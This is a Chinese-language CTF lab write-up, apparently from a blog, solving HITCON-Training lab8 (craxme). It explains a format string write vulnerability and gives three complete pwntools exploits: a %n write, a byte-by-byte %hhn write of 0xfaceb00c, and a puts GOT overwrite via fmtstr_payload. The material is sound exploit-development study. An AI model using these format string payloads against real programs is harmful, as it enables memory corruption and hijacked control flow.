HITCON-Training lab8(格式化字符串写漏洞)

还在补格式化字符串漏洞的知识,,,,看到这道题的时候,有点懵,,,因为发现218不会整,,,看官方writeup也不太行,,,

 

先知社区上有篇讲的就很好了,,,nice,用了四种方法(最后一种没看懂,,,),,,看完,BJDCTF那道r2t4终于也明白了,感天动地,,,今天就写下前三种方法的种种,,,

 

顺便计算下偏移,反正都会用到

偏移是7

 

方法一

最简单的一种

就是要通过格式化字符串写漏洞,让magic的地址变为218

magic的地址,,,

这样准备工作都完成了,思路就是将放上magic的地址,然后,就可以填充214个字节,然后偏移7个

语句是这样的:p32(magic_addr)+"%0214c"+"%7$n"

                      放上32位地址             填充214字符   将前面的字节(214+4)写入偏移也就是我们输入的东西,magic

这样就成功让magic的内容为218

完整exp

from pwn import *
p=process('./craxme')

magic_addr=0x0804A038

p.recvuntil(":")
payload=p32(magic_addr)+"%0214c"+"%7$n"
p.sendline(payload)

p.interactive()

 

方法二

这个是将magic覆盖成那个很大的负数,这样做也会麻烦一些了,,,

首先我们要将负数用十六进制表示出来

用电脑自带的计算器,程序员模式就行

因为大小端的缘故,我们填入的时候应该是

0c ==> b0 ==> ce ==> fa

发现刚好都是递增,所以,我们可以一个字节一个字节分别写入

意思就是0c写入magic的地址,b0写入magic+1(1个字节),ce写入magic+2,fa写入magic+3,一个地址是四个四节也就是magic~magic+3这个部分,,,

payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3) #4x4=16
payload2 += '%252c%7$hhn'  #252+16 =268-->0x10c
payload2 += '%164c%8$hhn'  #268+164 = 432 -->0x1b0
payload2 += '%30c%9$hhn'   #432+30  =462 -->0x1ce
payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa

【第一个0c是12但是前面的地址就有16所以只能多一位,后面1会被覆盖,所以关系8大】

【%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节】

完整exp:

#coding=utf-8
from pwn import *
p=process('./craxme')
magic_addr=0x0804A038

payload = p32(magic_addr)+p32(magic_addr+1)+p32(magic_addr+2)+p32(magic_addr+3)#4*4=16
payload += '%252c'+'%7$hhn'
payload += '%164c'+'%8$hhn'
payload += '%30c'+'%9$hhn'
payload += '%44c'+'%10$hhn'

p.recvuntil('magic :')
p.sendline(payload)
p.interactive()

【7,8,9,10那个想解释一下,因为自己刚开始看的时候有点迷,四个字节和一个字节的关系,,,没错,前面的数值会是四个字节,只是写入的时候只写入一个字节,%7$偏移刚好是输入的那个东西,也就是第一行payload的p32(magic_addr),%8$走到的地方是payload的第二个p32(magic_addr+1),哈哈哈】

 

这里我们还要介绍一个pwntools用于格式化字符串的函数,可以方便生成payload:

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

 

第一个参数表示格式化字符串的偏移,这里已经知道是7;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload

 

也就是我们中间可以不用这样一步步算出来,直接调用哪个函数,给出我们的偏移,地址,以及我们想要在地址里面写入的地址就行:

payload=fmtstr_payload(7,{magic_addr:0xfaceb00c})

 

方法三

第三种方法就是

我们用函数来直接实现

#coding=utf-8
from pwn import *
p=process('./craxme')
elf=ELF('./craxme')

puts_got=elf.got['puts']
magic_addr=0x0804a038
cat_flag=0x080485D8 #or 0x080485F6

payload=fmtstr_payload(7,{puts_got:cat_flag })

p.recvuntil('magic :')
p.sendline(payload)
p.interactive()

这里需要修改的是got表,因为puts函数根据plt会找到got表来执行,如果用了plt表,接下来还回去找got,,,

 

参考博客:https://xz.aliyun.com/t/3902#toc-10

题目下载:https://github.com/scwuaptx/HITCON-Training

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值